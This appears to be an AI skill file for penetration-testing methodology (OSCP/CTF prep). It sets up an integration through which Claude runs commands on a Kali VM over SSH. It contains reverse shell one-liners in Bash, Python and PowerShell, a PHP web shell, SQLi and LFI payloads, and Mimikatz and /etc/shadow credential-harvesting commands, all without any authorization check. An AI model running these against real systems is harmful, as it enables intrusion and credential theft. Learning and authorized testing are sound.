Pentest Workflow

Structured methodology for penetration testing engagements, CTFs, and certification prep (OSCP/PNPT).

Kali MCP Integration

MCP Server: kali-ssh (configured in ~/.claude/mcp.json)

• Host: 10.0.0.50 (Proxmox VM — configure your Kali IP)
• User: youruser
• Status: Configure in mcp.json

Usage: All commands in this skill can be executed on the Kali VM by asking Claude to run them. Simply say:

• "Run nmap scan on [target] using Kali"
• "Execute gobuster on [URL] via Kali"
• "Check for SUID binaries on Kali"

Claude will automatically execute commands on your Kali system via the MCP SSH connection.

Methodology Overview

1. RECON → 2. ENUM → 3. EXPLOIT → 4. POST-EXPLOIT → 5. REPORT
     ↓          ↓          ↓              ↓              ↓
  Passive    Services   Initial       PrivEsc        Document
  + Active   + Vulns    Access        + Loot         Findings

Phase 1: Reconnaissance

Passive Recon

# DNS enumeration
whois <domain>
dig any <domain>
host -t any <domain>
dnsrecon -d <domain>

# Subdomain discovery
subfinder -d <domain> -o subs.txt
amass enum -passive -d <domain>

# OSINT
theHarvester -d <domain> -b all

Active Recon

# Host discovery
nmap -sn 10.10.10.0/24 -oG hosts.txt
netdiscover -r 10.10.10.0/24

# Full TCP scan (save time with staged approach)
nmap -p- --min-rate 10000 -oN ports.txt <IP>
nmap -sC -sV -p <ports> -oN detailed.txt <IP>

# UDP quick scan (top 20 ports)
nmap -sU --top-ports 20 -oN udp.txt <IP>

Phase 2: Enumeration

Port-Based Enumeration

Enumerate based on discovered services. See references/service-enum.md for comprehensive commands per service.

SMB Enumeration

# Null session enumeration
smbclient -L //<IP> -N
smbmap -H <IP>
enum4linux -a <IP>
crackmapexec smb <IP> --shares -u '' -p ''

# With credentials
smbmap -H <IP> -u '<user>' -p '<pass>'
smbclient //<IP>/<share> -U '<user>%<pass>'

Web Enumeration

# Technology fingerprinting
whatweb <URL>
wappalyzer (browser extension)

# Directory/file discovery
gobuster dir -u <URL> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
feroxbuster -u <URL> -w <wordlist> -x php,txt

# Virtual host discovery
gobuster vhost -u <URL> -w <wordlist>
ffuf -w <wordlist> -u <URL> -H "Host: FUZZ.<domain>"

# Vulnerability scanning
nikto -h <URL>
nuclei -u <URL>

Phase 3: Exploitation

Searchsploit Workflow

searchsploit <service> <version>
searchsploit -m <exploit-id>    # Mirror to current dir
searchsploit -x <exploit-id>    # Examine exploit

Common Initial Access Vectors

Web-based:

• SQLi → sqlmap -u "<URL>?id=1" --dbs
• LFI/RFI → Test ?page=../../../etc/passwd
• File upload → Bypass filters, webshell
• Deserialization → ysoserial, PHAR

Service-based:

• Anonymous FTP/SMB with sensitive files
• Default/weak credentials
• Known CVEs for service versions

Reverse Shell Cheatsheet

# Listener
nc -lvnp 4444
rlwrap nc -lvnp 4444  # Better shell handling

# Bash
bash -i >& /dev/tcp/<IP>/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP
<?php system($_GET['cmd']); ?>

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Shell Upgrade

# Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Background with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm

Phase 4: Post-Exploitation

Linux Privilege Escalation

# Automated enumeration
./linpeas.sh | tee linpeas.out
./linux-smart-enumeration/lse.sh -l 1

# Manual checks (in priority order)
sudo -l                           # Sudo permissions
find / -perm -4000 2>/dev/null    # SUID binaries
cat /etc/crontab                  # Cron jobs
ls -la /etc/cron*
getcap -r / 2>/dev/null           # Capabilities
cat /etc/passwd                   # Users
ls -la /home/*                    # Home directories
env                               # Environment vars
cat /etc/exports                  # NFS shares

GTFOBins: Check https://gtfobins.github.io/ for SUID/sudo exploits

Windows Privilege Escalation

# Automated enumeration
.\winPEASx64.exe
.\Seatbelt.exe -group=all

# Manual checks
whoami /all                       # Current user privileges
systeminfo                        # OS info, patches
net user                          # Local users
net localgroup administrators     # Admin group
icacls "C:\Program Files"         # Weak permissions
schtasks /query /fo LIST /v       # Scheduled tasks
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer  # AlwaysInstallElevated

LOLBAS: Check https://lolbas-project.github.io/ for living-off-the-land

Credential Harvesting

# Linux
cat /etc/shadow
grep -r "password" /var/www/ 2>/dev/null
find / -name "*.conf" -exec grep -l "pass" {} \; 2>/dev/null

# Windows (Mimikatz)
sekurlsa::logonpasswords
lsadump::sam

Phase 5: Reporting

See references/report-template.md for full OSCP-style report structure.

Finding Documentation Format

For each finding, document:

## [Finding Name]

**Severity:** Critical/High/Medium/Low/Info

**Affected Asset:** <IP/hostname>

**Description:**
Brief explanation of the vulnerability.

**Evidence:**
[Screenshot or command output]

**Steps to Reproduce:**
1. Step one
2. Step two
3. ...

**Impact:**
What an attacker could achieve.

**Remediation:**
How to fix the issue.

Resources

• scripts/recon.sh - Automated initial reconnaissance script
• references/service-enum.md - Detailed per-service enumeration commands
• references/report-template.md - OSCP-style report template
• assets/obsidian-template/ - Obsidian vault structure for pentest notes